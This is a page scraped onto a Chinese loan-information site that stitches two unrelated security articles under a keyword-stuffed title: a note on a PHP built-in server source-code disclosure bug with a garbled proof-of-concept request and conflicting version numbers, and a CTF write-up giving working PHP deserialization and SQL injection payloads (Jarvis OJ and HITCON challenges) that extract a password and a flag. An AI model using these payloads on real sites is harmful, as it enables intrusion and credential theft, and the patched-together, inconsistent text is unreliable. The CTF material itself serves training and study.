您好,欢迎您来到国盈网!
官网首页 小额贷款 购房贷款 抵押贷款 银行贷款 贷款平台 贷款知识 区块链

国盈网 > 贷款知识 > 贷款 漏洞 php(没装php有漏洞)

贷款 漏洞 php(没装php有漏洞)

网站php版本泄露源码漏洞分析,下面是随性自由的高山nwQ给大家的分享,一起来看看。

贷款 漏洞 php

我们在测试多种PHP版本的网站服务器的时候,发现了PHP的返回一个错误的值。随着我们SINE安全的深入测试,我们发现了一个PHP的安全漏洞,这个漏洞可以暴露PHP文件的源代码,可以利用该漏洞来获取网站的数据库的PHP配置文件。

经过进一步的安全测试,我们发现最新版本的PHP没有这个漏洞。我们对不同版本的PHP进行了进一步的安全测试,以确定这个漏洞到底是什么时候修复的。最终发现PHP 7.4.22版本存在该漏洞,我们的技术对未修补版本和已修补版本的代码进行了比较,发现了漏洞的修复细节,通过修复的代码,我们构造了漏洞的利用代码。

GET/phpinfo.php

HTTP/1.1

Host: pd.research\r\n\r\n

GET/ HTTP/1.1\r\n\r\n

我们为了全面了解这个 bug 以及它是如何被修复的,我们编译了带有调试符号的 PHP 的补丁版和未补丁版。为了验证(PoC)的请求,我们触发了代码泄露 bug,并在调试器中观察了代码流。php_cli_server_client_read_request 函数调用了 php_http_parser_execute 函数,正如它的名字所暗示的那样,用于解析 HTTP 请求。该函数的返回值是成功解析的字节数。这个值用于确定请求已经被处理了多少,还剩下多少未被解析。

目前通过我们SINE安全的监控,发现有许多服务器使用了PHP小于7.4.2版本,建议用户尽快升级PHP版本,并将一些数据库配置文件进行加密,防止被黑客利用,通过查查询数据库来获取管理员账户密码,以及用户的资料。

没装php有漏洞

序列化

序列化说通俗点就是把一个对象变成可以传输的字符串

php serialize()函数

用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

<?php$sites = array('Google', 'Microsoft', 'Facebook');$serialized_data = serialize($sites);echo $serialized_data . PHP_EOL;?>

输出:

a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
解释a: 代表数组(如果是o就代表对象(object))3: 代表数组里面有3个变量i: 代表数据类型(i:int;s:string)6: 代表数据长度


反序列化

php unserialize()函数

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

<?php$str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';$unserialized_data = unserialize($str);print_r($unserialized_data);?>

输出:

Array ( [0] => Google [1] => Microsoft [2] => Facebook )

魔法方法

在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:

__construct()...........在每次创建新对象时先调用__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行__toString()............用于一个类被当成字符串时应怎样回应__sleep() ..............在被序列化之前运行__wakeup()..............反序列化时被调用

实例分析

Jarvis 神盾局的秘密

通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分

index.php:

<?php  require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile();?>

shield.php

<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; }  function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE  && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } }?>

__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作

<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; }  function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE  && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $shield=new Shield('pctf.php'); echo serialize($shield);?>

输出:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

源码审计:

php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)

首先传入参数data需要构造序列化,通过sql注入获取orange用户的数据库密码

show()

function show() { list($username) = func_get_args(); //sprint:把格式化的字符串写入一个变量中 $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); $obj = $this->__query($sql); if ( $obj != false ) { $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); } else { $this->__die("Nobody Nobody But You!"); } }

通过分析show方法,构造如下:

payload:

<?phpclass HITCON{ private $method="show"; private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- "); private $conn=1;}$hit = new HITCON();$result = serialize($hit);var_dump($result);?>

执行的sql语句为:

SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '

疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}

构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}

说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00

得到:{"msg":"root is admin"}

login()

function login() { global $FLAG; list($username, $password) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username))); $password = strtolower(trim(mysql_escape_string($password))); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); if ( $username == 'orange' || stripos($sql, 'orange') != false ) { $this->__die("Orange is so shy. He do not want to see you."); } $obj = $this->__query($sql); if ( $obj != false && $obj->role == 'admin' ) { $this->__die("Hi, Orange! Here is your flag: " . $FLAG); } else { $this->__die("Admin only!"); }}
 if ( $username == 'orange' || stripos($sql, 'orange') != false )

可以看到对于用户名进行了过滤,可以参考连接3的绕过方法

payload:

<?phpclass HITCON{ private $method; private $args; public function __construct($method, $args) { $this->method = $method; $this->args = $args; }}$args['username'] = 'orÃnge';$args['password'] = 'root';$data = new HITCON('login',$args);var_dump(serialize($data));?>

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

构造:

O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}

温馨提示:注:内容来源均采集于互联网,不要轻信任何,后果自负,本站不承担任何责任。若本站收录的信息无意侵犯了贵司版权,请给我们来信(j7hr0a@163.com),我们会及时处理和回复。

原文地址"贷款 漏洞 php(没装php有漏洞)":http://www.guoyinggangguan.com/dkzs/95140.html

微信扫描二维码关注官方微信
▲长按图片识别二维码